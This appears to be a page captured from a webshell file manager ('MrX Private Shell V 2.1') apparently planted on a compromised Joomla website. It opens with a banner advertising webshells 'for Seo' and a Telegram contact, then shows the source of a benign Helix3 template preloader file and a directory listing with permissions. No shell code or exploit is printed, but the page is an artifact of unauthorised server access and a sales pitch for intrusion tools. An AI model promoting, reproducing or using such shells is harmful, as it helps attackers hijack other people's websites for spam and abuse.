__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* @package Helix3 Framework
* @author JoomShaper https://www.joomshaper.com
* @copyright (c) 2010 - 2021 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/
//no direct accees
defined ('_JEXEC') or die('resticted aceess');
use Joomla\CMS\Factory;
use Joomla\CMS\Uri\Uri;
class Helix3FeaturePreloader {
private $helix3;
public function __construct($helix){
$this->helix3 = $helix;
$this->position = 'helixpreloader';
}
public function renderFeature() {
$app = Factory::getApplication();
//Load Helix
$helix3_path = JPATH_PLUGINS . '/system/helix3/core/helix3.php';
if (file_exists($helix3_path)) {
require_once($helix3_path);
$getHelix3 = helix3::getInstance();
} else {
die('Please install and activate helix plugin');
}
$output = '';
if ($getHelix3->getParam('preloader')) {
//Pre-loader -->
$output .= '<div class="sp-pre-loader">';
if ($getHelix3->getParam('preloader_animation') == 'double-loop') {
// Bubble Loop loader
$output .= '<div class="sp-loader-bubble-loop"></div>';
} elseif ($getHelix3->getParam('preloader_animation') == 'wave-two') {
// Audio Wave 2 loader
$output .= '<div class="wave-two-wrap">';
$output .= '<ul class="wave-two">';
$output .= '<li></li>';
$output .= '<li></li>';
$output .= '<li></li>';
$output .= '<li></li>';
$output .= '<li></li>';
$output .= '<li></li>';
$output .= '</ul>'; //<!-- /.Audio Wave 2 loader -->
$output .= '</div>'; // <!-- /.wave-two-wrap -->
} elseif ($getHelix3->getParam('preloader_animation') == 'audio-wave') {
// Audio Wave loader
$output .= '<div class="sp-loader-audio-wave"> </div>';
} elseif ($getHelix3->getParam('preloader_animation') == 'circle-two') {
// Circle two Loader
$output .= '<div class="circle-two">';
$output .= '<span></span>';
$output .= '</div>'; // /.Circle two loader
} elseif ($getHelix3->getParam('preloader_animation') == 'clock') {
//Clock loader
$output .= '<div class="sp-loader-clock"></div>';
} elseif ($getHelix3->getParam('preloader_animation') == 'logo') {
if ($getHelix3->getParam('logo_image')) {
$logo = Uri::root() . '/' . $getHelix3->getParam('logo_image');
} else {
$logo = Uri::root() . '/templates/' . $app->getTemplate() . '/images/presets/' . $getHelix3->Preset() . '/logo.png';
}
// Line loader with logo
$output .= '<div class="sp-loader-with-logo">';
$output .= '<div class="logo">';
$output .= '<img src="' . $logo . '" alt="">';
$output .= '</div>';
$output .= '<div class="line" id="line-load"></div>';
$output .= '</div>'; // /.Line loader with logo
} else {
// Circle loader
$output .= '<div class="sp-loader-circle"></div>'; // /.Circular loader
}
$output .= '</div>'; // /.Pre-loader
} // if enable preloader
echo $output;
} //renderFeature
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| contact.php | File | 1.63 KB | 0664 |
|
| footer.php | File | 866 B | 0664 |
|
| logo.php | File | 3.04 KB | 0664 |
|
| menu.php | File | 1.44 KB | 0664 |
|
| preloader.php | File | 3.64 KB | 0664 |
|
| social.php | File | 3.18 KB | 0664 |
|
| title.php | File | 1.78 KB | 0664 |
|